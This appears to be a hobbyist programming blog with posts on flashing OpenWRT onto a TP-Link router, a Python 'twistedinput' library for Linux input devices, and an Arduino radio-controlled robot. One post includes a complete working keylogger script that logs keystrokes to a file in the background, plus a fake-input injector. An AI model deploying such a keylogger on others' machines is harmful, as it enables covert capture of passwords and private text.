středa 23. října 2013

Installing OpenWRT on TP-Link router

It is some time, when I started experimenting with OpenWRT - an operating system for routers. It starts as a school project, when I had to write an article about operating systems for embedded devices.

OpenWRT is Linux based operating system. It is completely open source with a large community. Also it has huge list of supported devices. You can find more information on the official page.

Hardware

OpenWRT supports lot of procesor architectures, so it can run basically on anything. Except few devices which has not enough resources, such as flash storage or RAM.

I chose very popular TP-LINK TL-WR703N. It is very small and cost about 22 USD. It has 4 MB of flash, 32 MB RAM and MIPS architecture CPU at 400 MHz. It also supports 802.11n wireless standard and has one USB host port.

Serial console

If you are working with some embedded device, it is always good idea to have serial console. It is very handy for its management and configuration and really necessary for device rescue, if something goes wrong.

Every TP-Link router what I met has nice unpopulated PCB header with UART, providing serial console. But because this router is really small, it has only little pads with RX and TX (labeled TP_IN and TP_OUT).

You can find lot of tutorials on the Internet about accessing serial console. But basically each of them requires making holes into PCB for soldering pins or some other invasive method. I solved this by gluing 3-pin header with a hot glue on the back side of the Ethernet connector. Then I just connected RX and TX wires and third wire to the ground.

Identify a target

If your device is listed in supported devices, look at the device target. In case of TL-WR703N, target is ar71xx. If you are not sure about right target of your device, please look at this table. Target is based on the router chipset, not only on the processor's architecture. But let's suppose that you have device supported by OpenWRT.

Filesystem

Next you have to decide, which filesystem you want. There are two basic options.

  • JFFS2 – writable compressed filesysem. It supports wear leveling and journaling. Compressed with LZMA compression.
  • SquashFS – read-only filesystem compressed with LZMA. It is used in conjunction with overlayfs. In the result, there are two filesystems merged into one. This mechanism is called UnionFS. Lower one is read-only SquashFS and upper one is writable JFFS2.

I prefer two layered filesystem. It's writable and any changes can be easily restored into default state by erasing upper layer.

Please note, that SquashFS shouldn't be used on the NAND flash storage. If your router has NAND flash, you have to use another filesystem.

Installation

After determining correct target and identifying your needs, installation is really simple. Fist download image file. In my case it is http://downloads.openwrt.org/attitude_adjustment/12.09/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin

On most devices (and TL-WR703N isn't exception) you simply can access web interface and upload firmware image into appropriate upgrade form.

First of all, you have to connect to the router. I prefer wired connections. Most devices are configured with some reasonable address. You can read manual or simply guess it.

buben@debian:~$ sudo ifconfig eth0 192.168.1.10
buben@debian:~$ ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data. 
64 bytes from 192.168.1.1: icmp_req=1 ttl=255 time=1.48 ms 
64 bytes from 192.168.1.1: icmp_req=2 ttl=255 time=3.09 ms 
64 bytes from 192.168.1.1: icmp_req=3 ttl=255 time=1.40 ms 
64 bytes from 192.168.1.1: icmp_req=4 ttl=255 time=2.02 ms

In my case, I had to use crossover cable. If you can't ping a device, make sure that this is not an issue.

I bought my TP-Link on ebay and it came with Chinese localization. I didn't have character sets installed for displaying page correctly. But it is not hard to find firmware upload form, even if I can't read basicaly anything.

Main menu in on the left side. The last item should be system management. After clicking on it, another sub-menu appears.

Menu items are nothing more than links. If you move a mouse on the link, most browsers will show you its location. Third menu item should be, what I'm looking for (mouse cursor isn't captured on the screenshot).

Before you upload an image file to the form, it's not bad idea to rename it to some short name. Also the file should have .bin suffix. In my case a file name length have to be up to 64 characters long and .bin suffix is also required.

buben@debian:~$ mv openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin openwrt.bin

Next select image file and submit it.

Firmware upgrade is most critical step in this process. Don't unplug a power source for your router. If you will do so, you will brick it. Brick can be restored, but I have no experience with that.

After successful flashing, you can access a serial console a see nice welcome message.

BusyBox v1.19.4 (2013-03-14 11:28:31 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.

  _______                     ________        __
 |       |.-----.-----.-----.|  |  |  |.----.|  |_
 |   -   ||  _  |  -__|     ||  |  |  ||   _||   _|
 |_______||   __|_____|__|__||________||__|  |____|
          |__| W I R E L E S S   F R E E D O M
 -----------------------------------------------------
 ATTITUDE ADJUSTMENT (12.09, r36088)
 -----------------------------------------------------
  * 1/4 oz Vodka      Pour all ingredients into mixing
  * 1/4 oz Gin        tin with ice, strain into glass.
  * 1/4 oz Amaretto
  * 1/4 oz Triple sec
  * 1/4 oz Peach schnapps
  * 1/4 oz Sour mix
  * 1 splash Cranberry juice
 -----------------------------------------------------
root@OpenWrt:/#

čtvrtek 10. října 2013

Playing with twistedinput

In previous articles I described some basic stuff about twisted input. With this boring start, let's make some fun. In this short article I'll show you, how to build simple keylogger and event injector. Please don't abuse this for doing anything malicious. I don't take responsibility for it.

Simple keylogger

Twistedinput is ported for Linux systems only. Since most SW for Linux is also open-source, it's not hard to find a good keylogger without worrying about malware infection. But you can make your own. See the following example.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory
from twistedinput.defines import *
from twisted.internet import reactor
import sys

class KeyNames(object):

    keyMap = None

    def __init__(self):
        self.keyMap = {EV_KEY : self.getKeyNames()}

    def getKeyNames(self):
        """
        get mapping object for naming keys
        """
        return {
            KEY_A :     "A",    KEY_B :     "B",    KEY_C :     "C",
            KEY_D :     "D",    KEY_E :     "E",    KEY_F :     "F",
            KEY_G :     "G",    KEY_H :     "H",    KEY_I :     "J",
            KEY_K :     "K",    KEY_L :     "L",    KEY_M :     "M",
            KEY_N :     "N",    KEY_O :     "O",    KEY_P :     "P",
            KEY_Q :     "Q",    KEY_R :     "R",    KEY_S :     "S",
            KEY_T :     "T",    KEY_U :     "U",    KEY_V :     "V",
            KEY_W :     "W",    KEY_X :     "X",    KEY_Y :     "Y",
            KEY_Z :     "Z"}

    def getKeyName(self, event):
        try:
            return self.keyMap[event.type][event.code]
        except KeyError:
            return None

class LoggerProtocol(protocol.EventProtocol):

    keyNames = None
    logFile = None

    def __init__(self, eventFactory, keyNames, logFile):
        protocol.EventProtocol.__init__(self, eventFactory)
        self.keyNames = keyNames
        self.logFile = open(logFile, 'a')

    def eventReceived(self, event):
        if event.value:
            key = self.keyNames.getKeyName(event)
            if key is not None:
                self.logKey(key)

    def logKey(self, key):
        self.logFile.write(key)
        self.logFile.flush()

    def connectionLost(self, reason):
        self.logFile.close()

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <log file>" % sys.argv[0]
        exit(1)
    dev = device.EventDevice(
        LoggerProtocol(
            factory.InputEventFactory(),
            KeyNames(),
            sys.argv[2]),
        sys.argv[1])
    dev.startReading()
    reactor.run()

if __name__ == '__main__':
    main()

KeyNames class does basically same think as EventMapping classes. But EventMapping has a different contract, describing its usage and purpose. It's good idea to define another class for naming a keys rather than modifying some mapping classes or use KeyNames as mapping.

For keep code simple, I named only character keys. You can make better keylogger in the same approach.

You can run this script in a background with arguments defining path to you keyboard device and log file respectively. After that it will log pressed keys into file, even if you type into another program.

Event injector

Another interesting thing is generate fake key strokes by software. You can type characters, move a mouse cursor or send power button event which shut down your computer.

Let's write another example. Following program periodically blink with CapsLock LED on you keyboard. Additionally it sniff key strokes and whenever you press left Ctrl button it moves your mouse by 10 pixels in random direction.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory, event, mapping
from twistedinput.defines import *
from twisted.internet import reactor, task
import sys
import random

class EventGenerator(object):

    def createSyncEvent(self):
        return event.InputEvent.buildInputEvent(EV_SYN, SYN_REPORT, 0)

    def createEventSeq(self):
        raise NotImplementedError("override in subclass")

class BlinkCaps(EventGenerator):

    state = None
    keyboardProtocol = None

    def __init__(self, keyboardProtocol):
        self.state = False
        self.keyboardProtocol = keyboardProtocol

    def __call__(self):
        for event in self.createEventSeq():
            self.keyboardProtocol.transport.write(event.toBytes())

    def createLedEvent(self):
        value = [0, 1][self.state]
        self.state = not self.state
        return event.InputEvent.buildInputEvent(EV_LED, LED_CAPSL, value)

    def createEventSeq(self):
        return [self.createLedEvent(), self.createSyncEvent()]

class MouseMove(EventGenerator):


    def __init__(self, moveDistance):
        self.moveDistance = moveDistance

    def getAxis(self):
        return random.choice([REL_X, REL_Y])

    def getMove(self):
        return random.choice([self.moveDistance, -self.moveDistance])

    def createMoveEvent(self):
        return event.InputEvent.buildInputEvent(EV_REL, self.getAxis(), self.getMove())

    def createEventSeq(self):
        return [self.createMoveEvent(), self.createSyncEvent()]

class KeyboardProtocol(protocol.EventProtocol):

    mouseProtocol = None
    mouseMove = None

    def __init__(self, *args, **kwargs):
        protocol.EventProtocol.__init__(self, *args, **kwargs)
        self.mouseMove = MouseMove(10)

    def keyLeftCtrl(self, event):
        if event.value:
            for event in self.mouseMove.createEventSeq():
                self.mouseProtocol.transport.write(event.toBytes())

class MouseProtocol(protocol.EventProtocol):

    def eventReceived(self, event):
        pass

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <mouse device>" % sys.argv[0]
        exit(1)
    keyboardProtocol = KeyboardProtocol(
        factory.InputEventFactory(),
        mapping.KeyboardMapping())
    keyboard = device.EventDevice(
        keyboardProtocol,
        sys.argv[1])

    mouseProtocol = MouseProtocol(
        factory.InputEventFactory())
    mouse = device.EventDevice(
        mouseProtocol,
        sys.argv[2])

    keyboardProtocol.mouseProtocol = mouseProtocol

    t = task.LoopingCall(BlinkCaps(keyboardProtocol))
    t.start(1.0)

    keyboard.startReading()

    reactor.run()

if __name__ == '__main__':
    main()

středa 2. října 2013

Remote controlled robot

Reason, why I developed my little input library were that I wanted remotely control robots and other things with a computer. My idea was sending commands via serial line to the one Arduino and transmit them wirelessly into another. Twistedinput was designed as layer between input device and serial output.

I decided for Twisted framework because I very like it and because I can make very complex things with it. For example control robots over the Internet. Maybe build something like this :)

Wireless module

I'm using a cheap radio module from ebay. It is base on nRF24L01 chip. If you are interested in arduino, you are probably already familiar with it.

There is very nice library for this module called RF24. You can google out many tutorials and lot of other useful stuff for it.

Wireless transmitter

For sending commands into robot, I designed its own communication protocol. It is based on very similar data structure as input_event from linux/input.h header file.

Although transmitter has defined this structure, it doesn't actually use it. It only needs to know, how long this structure is. That's because it reads data from serial line byte by byte. When it receives all bytes needed for building one event structure, it sends them out.

Transmitter code

#include <SPI.h>
#include "RF24.h"

struct event {
  unsigned char type;
  unsigned char code;
  short value;
};

// buffer for received data
char eventBuffer[sizeof(struct event)];
int bufferIndex;

RF24 radio(9, 10);
const uint64_t pipes[2] = { 0xF0F0F0F0E1LL, 0xF0F0F0F0D2LL };

/**
 * routine for sending events
 */
void sendEvent(struct event * event) {
  radio.stopListening();
  
  // send event to robot
  radio.write(event, sizeof(struct event));
  
  radio.startListening();
}

void setup() {
  Serial.begin(19200);
  
  bufferIndex = 0;
  
  radio.begin();
  radio.setRetries(15, 15) ;
  radio.setPayloadSize(sizeof(struct event));
  
  radio.openWritingPipe(pipes[0]);
  radio.openReadingPipe(1,pipes[1]);
  
  radio.startListening();
}

void loop() {
  if(Serial.available() > 0) {
    Serial.readBytes(eventBuffer + bufferIndex, 1);
    bufferIndex++;
    if(!(bufferIndex < sizeof(struct event))) {
      bufferIndex = 0;
      sendEvent((struct event *)eventBuffer);
    }
  }
}

Wireless receiver

Receiver is my robot. It doesn't reads data byte by byte, it receives complete event structure instead. After that it needs to handle it.

Handling algorithm is little bit odd. I wanted to calculate, which pins should be LOW an which should by HIGH. This solution can do this but it isn't ideal way I thing.

The code is splitted into two parts. Header file with defines and second file with code. In the Arduino IDE you can create second file by clicking at small triangle on the right side, just below serial monitor button.

robot.h header file:

// define some commands
#define EV_MOVE         0x01

#define MOVE_FORWARD    0x01
#define MOVE_BACKWARD   0x02
#define MOVE_STOP       0x03
#define MOVE_LEFT       0x04
#define MOVE_RIGHT      0x05
#define MOVE_STRAIGHT   0x06

#define MOTOR_PIN_COUNT          4
#define LEFT_WHEEL_FORWARD       6
#define RIGHT_WHEEL_FORWARD      3
#define LEFT_WHEEL_BACKWARD      9
#define RIGHT_WHEEL_BACKWARD     5

struct event {
  unsigned char type;
  unsigned char code;
  short value;
};

// define moving states
enum Move {
  E_MOVE_STOP,
  E_MOVE_FORWARD,
  E_MOVE_BACKWARD
};

enum Turn {
  E_TURN_STRAIGHT,
  E_TURN_LEFT,
  E_TURN_RIGHT
};

// function prototypes
unsigned char getMoveMask(Move eMove);
unsigned char getTurnMask(Turn eTurn);
unsigned char getPinMask(Move eMove, Turn eTurn);
void update();
void doMove(struct event * event);
void handleEvent(struct event * event);
struct event * bytesToEvent(char * buffer);

robot code:

#include <SPI.h>
#include "RF24.h"
#include "nRF24L01.h"
#include "robot.h"

// buffer for received data
char eventBuffer[sizeof(struct event)];

RF24 radio(8, 10);
const uint64_t pipes[2] = { 0xF0F0F0F0E1LL, 0xF0F0F0F0D2LL };

// store current move direction
Move currentMove;
Turn currentTurn;

// store current pin mask for motors
unsigned char currentPinMask;

int motorPins[] = {
  RIGHT_WHEEL_BACKWARD,
  RIGHT_WHEEL_FORWARD,
  LEFT_WHEEL_BACKWARD,
  LEFT_WHEEL_FORWARD
};

/**
 * get mask for move
 */
unsigned char getMoveMask(Move eMove) {
  switch(eMove) {
    case E_MOVE_STOP:      return B0000; break;
    case E_MOVE_FORWARD:   return B1010; break;
    case E_MOVE_BACKWARD:  return B0101; break;
  }
}

/**
 * get mask for turn
 */
unsigned char getTurnMask(Turn eTurn) {
  switch(eTurn) {
    case E_TURN_STRAIGHT:  return B0000; break;
    case E_TURN_LEFT:      return B0110; break;
    case E_TURN_RIGHT:     return B1001; break;
  }
}

unsigned char getPinMask(Move eMove, Turn eTurn) {
  unsigned char moveMask = getMoveMask(eMove);
  unsigned char turnMask = getTurnMask(eTurn);
  if((moveMask == 0) || (turnMask == 0)) {
    return moveMask | turnMask;
  }
  if(eMove == E_MOVE_BACKWARD) {
    turnMask = ~turnMask;
  }
  return moveMask & turnMask;
}

/**
 * update motor pins
 */
void update() {
  int i;
  unsigned char pinMask = getPinMask(currentMove, currentTurn);
  
  // create differential pin mask by xoring current mask and new mask
  // differential mask is used for handling only those pins, which really needs
  // to change its state
  unsigned char differentialPinMask = currentPinMask ^ pinMask;
  
  // handle pins which needs to be set LOW at first
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    if(((differentialPinMask & (0x1 << i)) != 0) &&
      ((pinMask & (0x1 << i)) == 0)) {
      digitalWrite(motorPins[i], LOW);
    } 
  }
  
  // handle pins which needs to be set HIGH
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    if(((differentialPinMask & (0x1 << i)) != 0) &&
      ((pinMask & (0x1 << i)) != 0)) {
      digitalWrite(motorPins[i], HIGH);
    } 
  }
  
  // assign new mask
  currentPinMask = pinMask;
}

void doMove(struct event * event) {
  switch(event->code) {
    case MOVE_FORWARD:   currentMove = E_MOVE_FORWARD;     break;
    case MOVE_BACKWARD:  currentMove = E_MOVE_BACKWARD;    break;
    case MOVE_STOP:      currentMove = E_MOVE_STOP;        break;
    case MOVE_LEFT:      currentTurn = E_TURN_LEFT;        break;
    case MOVE_RIGHT:     currentTurn = E_TURN_RIGHT;       break;
    case MOVE_STRAIGHT:  currentTurn = E_TURN_STRAIGHT;    break;
  }
  update();
}

void handleEvent(struct event * event) {
  switch(event->type) {
    case EV_MOVE:        doMove(event);               break;
  }
}

/**
 * convert big-endian bytes pointed by buffer into
 * native endian event structure
 */
struct event * bytesToEvent(char * buffer) {
  short val = *(short *)(((void *)buffer) + (2 * sizeof(unsigned char)));
  *((short *)(((void *)buffer) + (2 * sizeof(unsigned char)))) = (val << 8) | ((val >> 8) & 0xff);
  return (struct event *)buffer;
}

void setup() {
  
  // debug only
  Serial.begin(19200);
  
  // set motor pins to OUTPUT
  int i;
  for(i = 0; i < MOTOR_PIN_COUNT; i++) {
    pinMode(motorPins[i], OUTPUT);
  }
  
  // initialize pin mask
  currentPinMask = 0x0;
  
  // initialize current move direction
  currentMove = E_MOVE_STOP;
  currentTurn = E_TURN_STRAIGHT;
  
  radio.begin();
  radio.setRetries(15, 15);
  radio.setPayloadSize(sizeof(struct event));
  
  radio.openWritingPipe(pipes[1]);
  radio.openReadingPipe(1,pipes[0]);
  
  radio.startListening();
}

void loop() {
  if(radio.available() > 0) {
    bool done = false;
    while(! done) {
      done = radio.read(eventBuffer, sizeof(struct event));
    }
    handleEvent(bytesToEvent(eventBuffer));
  }
}

Endianness

Endianness is a way of storing data types, which are more than one byte long. If you are not familiar with it, please read wikipedia.

It's known convention, that all data send across network should be encoded in big-endian byte order. For that reason my robot actually doesn't receive event structure. It receive some bytes which needs to be encoded into right order. This is what bytesToEvent routine do. Unfortunately, I don't now about some elegant solution, my implementation is little bit dirty. If Arduino were based on some big-endian architecture, this routine will return an event structure in wrong byte order.

Controlling with computer

Finally we need last piece of software, which runs on the computer. A computer acts like interface between transmitting Arduino and in input device. But it can do more things. It can save all events into file and reproduce them later or it can be some kind of autopilot. This software hasn't send data into transmitter directly, but over computer network. What ever you want.

You can download my radiocontrol script

pátek 27. září 2013

Using twistedinput

Recently I described basics of asynchronous file reading with Twisted framework. Using this approach is build my twistedinput library. Now I would like describe more this library and show you basic usage.

InputEvent objects

Before we can start using twistedinput, you have to understand of basic building block of this library.

If you read previous article, you should remember, that we simply printed out length of received data. Let me quickly describe these data.

When you press button on your input device, protocol from previous article actually received couple of input_event structures. This structure is defined in linux/input.h header file.

struct input_event {
    struct timeval time;
    __u16 type;
    __u16 code;
    __s32 value;
};

Time is another structure. It is composed of two fields – seconds and microseconds. Both are 64-bit long. Type and code are unsigned 16-bit values. Value field is signed 32-bit value.

Twistedinput knows this structure and has wrapper class InputEvent for it. See the basic usage.

>>> from twistedinput.event import InputEvent 
>>> event = InputEvent.buildInputEvent(1, 2, 3) 
>>> print unicode(event) 
time: 1379719268.6574370, type: 0x0001, code: 0x0002, value: 0x00000003 
>>> event.time.seconds 
1379719268 
>>> event.type 
1 
>>> event.code 
2 
>>> event.value 
3 

Receiving events

Now you are familiar with InputEvent class. Lets write small script, which receives event from your input device. I'm using Genius gamepad with device file located at /dev/input/event15.

from twistedinput.device import EventDevice
from twistedinput.protocol import EventProtocol
from twistedinput.factory import InputEventFactory
from twisted.internet import reactor
import sys

class GamepadProtocol(EventProtocol):

    def eventReceived(self, event):
        print unicode(event)

gamepad = EventDevice(
    GamepadProtocol(InputEventFactory()),
    sys.argv[1])
gamepad.startReading()
reactor.run()

Twistedinput has protocol for receiving events. Is simply receive data from input device and save them in buffer. When it has enough data for creating an event, it use factory (given as first argument) for building it and calls eventReceived method.

When I run this script and press and release buttons 1, 2, 3 and 4 respectively, I get following output

buben@debian:~$ python gamepad.py /dev/input/event15 
time: 1379976614.640730, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.640733, type: 0x0001, code: 0x0120, value: 0x00000001 
time: 1379976614.640781, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.712725, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.712730, type: 0x0001, code: 0x0120, value: 0x00000000 
time: 1379976614.712774, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.888736, type: 0x0004, code: 0x0004, value: 0x00090002 
time: 1379976614.888741, type: 0x0001, code: 0x0121, value: 0x00000001 
time: 1379976614.888786, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976614.944742, type: 0x0004, code: 0x0004, value: 0x00090002 
time: 1379976614.944747, type: 0x0001, code: 0x0121, value: 0x00000000 
time: 1379976614.944790, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.192746, type: 0x0004, code: 0x0004, value: 0x00090003 
time: 1379976615.192752, type: 0x0001, code: 0x0122, value: 0x00000001 
time: 1379976615.192792, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.272742, type: 0x0004, code: 0x0004, value: 0x00090003 
time: 1379976615.272747, type: 0x0001, code: 0x0122, value: 0x00000000 
time: 1379976615.272788, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.632773, type: 0x0004, code: 0x0004, value: 0x00090004 
time: 1379976615.632778, type: 0x0001, code: 0x0123, value: 0x00000001 
time: 1379976615.632815, type: 0x0000, code: 0x0000, value: 0x00000000 
time: 1379976615.712743, type: 0x0004, code: 0x0004, value: 0x00090004 
time: 1379976615.712746, type: 0x0001, code: 0x0123, value: 0x00000000 
time: 1379976615.712768, type: 0x0000, code: 0x0000, value: 0x00000000 

There are 24 events in total. Four buttons has been pressed and released. There are three events for each physical event. In other words, when you press a button, three events is generated. Not all buttons generate three events, some generate only two.

Let's despite first three events which belongs to button 1.

time: 1379976614.640730, type: 0x0004, code: 0x0004, value: 0x00090001 
time: 1379976614.640733, type: 0x0001, code: 0x0120, value: 0x00000001 
time: 1379976614.640781, type: 0x0000, code: 0x0000, value: 0x00000000 

First event has type 0x4 and code 0x4. These values corresponds to symbolic names EV_MSC and MSC_SCAN in linux/input.h header file. This sort of events are not important to us for now.

The second one has type 0x1 and code 0x120. Symbolic names are EV_KEY and BTN_TRIGGER. So type telling us that some button has been pressed. Code describing which button has been pressed. And finally value is value of this button. This is the most important event for us.

The last one is synchronization event. It is used as event separator. We can ignore it too.

Using Mapping

Now we can handle events in one eventReceived method. It's fine if you are interested in for few event types. But what if you are writing driver for keyboard. Your eventReceived should be composed from very long list of elif statemets for handling all different key. That's not good idea. In this case event mapping comes for your rescue.

Event mapping maps event into their handle routines. Everything what you have to do is implement only those routines, which you are interested in.

Instance of mapping is second optional argument for EventProtocol. If omnited, you have to override eventReceived method. If you provide mapping, simply implement methods defined by mapping and only those, which are interesting for you. Let's look at following example.

from twistedinput.device import EventDevice
from twistedinput.protocol import EventProtocol
from twistedinput.factory import InputEventFactory
from twistedinput.mapping import GamepadEventMapping
from twisted.internet import reactor
import sys

class GamepadProtocol(EventProtocol):

    def button1(self, event):
        print "button 1:", event.value

    def button2(self, event):
        print "button 2:", event.value

    def button3(self, event):
        print "button 3:", event.value

    def button4(self, event):
        print "button 4:", event.value

    def nonMappedEvent(self, event):
        print "not supported event:", unicode(event)

gamepad = EventDevice(
    GamepadProtocol(
        InputEventFactory(),
        GamepadEventMapping()),
    sys.argv[1])
gamepad.startReading()
reactor.run()

Lets run this script and see its output

buben@debian:~$ python gamepad.py /dev/input/event15 
button 1: 1 
button 1: 0 
button 2: 1 
button 2: 0 
button 3: 1 
button 3: 0 
button 4: 1 
button 4: 0 

This is much better. If you don't implement method defined by mapping, nothing happened. If mapping doesn't map some event, nonMappedEvent method is called with this event as an argument.

čtvrtek 19. září 2013

Reading gamepad with Twisted

Recently, I decided to develop library for reading input devices in Python. I like Twisted framework and asynchronous programming, so I used it for implementing my library.

In the past, when I needed to read some files, I just used synchronous approach. Even when I was using asynchronous framework, such as Twisted. The reason is simple, Twisted does not provide convenient API for accessing files asynchronously. If you really need it, you have to program it yourself.

In this article I will describe how to use twisted framework for asynchronous reading from files. In this case it will be special files for devices but you can use same approach for any file you want.

You can find my library, which I called twistedinput, on the GitHub.

Everything is file

If you are familiar with Linux, you probably know, that everything is file. Regular files, folders, pipes, sockets and also devices are represented by a file. For the simplest way of reading data from gamepad, you can use following script:

buben@debian:~$ cat simple_gamepad.py
#!/usr/bin/env python
import sys

# open file
f = open(sys.argv[1])

# read one byte and print it out
while True:
    b = f.read(1)
    print “0x%02x” % ord(b)

First of all, we need locate file representation of gamepad.

buben@debian:~$ cat /proc/bus/input/devices

. . . truncated . . .

I: Bus=0003 Vendor=1345 Product=1000 Version=0110 
N: Name="Generic   USB  Joystick  " 
P: Phys=usb-0000:00:12.0-2/input0 
S: Sysfs=/devices/pci0000:00/0000:00:12.0/usb3/3-2/3-2:1.0/input/input15 
U: Uniq= 
H: Handlers=event15 js0 
B: PROP=0 
B: EV=1b 
B: KEY=fff00000000 0 0 0 0 
B: ABS=30027 
B: MSC=10 

Nice, file name for gamepad is event15, full path to it is /dev/input/event15. If you will run simple_gamepad.py with this path as an argument and press some button on gamepad, you will get lot of output, one byte on each line.

Time for Twisted

Fine, we are reading data from device and printing them out in hexadecimal format. But in synchronous fashion. It's time for basic implementation in Twisted framework.

First of all, we need to define class, which will represent an input device. This device can be basically anything, like mouse, keyboard, webcam, power button or my gamepad. Instance of this class will be able to read and write data from or into a file. It has no idea what these data are.

For interpreting data we have to create another class. Twisted calls these classes as protocols. Protocols receive data from their transport layers and know meaning of these data.

So let's start with device class

buben@debian:~$ cat device.py
from __future__ import unicode_literals
from twisted.internet.abstract import FileDescriptor
from twisted.internet import fdesc

class EventDevice(FileDescriptor):

    __device = None

    def __init__(self, protocol, device):
        FileDescriptor.__init__(self)
        self.protocol = protocol
        self.protocol.makeConnection(self)
        self.__device = open(device)

    def fileno(self):
        return self.__device.fileno()

    def doRead(self):
        return fdesc.readFromFD(self.fileno(), self.protocol.dataReceived)

This is very simple implementation of device class. As you can see, it takes two arguments. A protocol, which is responsible for handling data. And a device, which is only file name of an input device in your system.

There are also two important methods:

  • fileno - this provides a file descriptor. Twisted will need it for calling select system call.
  • doRead - when some data is available, Twisted calls this method for receiving them. This method calls readFromFD, a Twisted utility function which simply reads data from file descriptor and gives them to a callback function - in this case dataReceived in the protocol.

Also note, that EventDevice is derived from the FileDescriptor class. If you are interested in, you can check full documentation for this class.

Okay, lets't write a simple protocol.

buben@debian:~$ cat protocol.py
from __future__ import unicode_literals
from twisted.internet.protocol import Protocol

class EventProtocol(Protocol):

    def dataReceived(self, data):
        print len(data)

When protocol receives chunk of some data, it prints out their length. This isn't anything useful, but it's fine for demonstration purpose.

Now we can put all these things together with the following script:

buben@debian:~$ cat test.py
#!/usr/bin/env python
from __future__ import unicode_literals
import sys
from device import EventDevice
from protocol import EventProtocol
from twisted.internet import reactor

EventDevice(
    EventProtocol(),
    sys.argv[1]).startReading()
reactor.run()

If you run the script and press some button on the gamepad, you will get the following output:

buben@debian:~$ chmod +x test.py 
buben@debian:~$ ./test.py /dev/input/event15 
48
48

The program tells us that it received 48 bytes of data. In asynchronous way!

This is basic asynchronous reading from input devices. For doing something useful, you will need to understood these data. Decoding them isn't topic of this article, maybe later :)

Further reading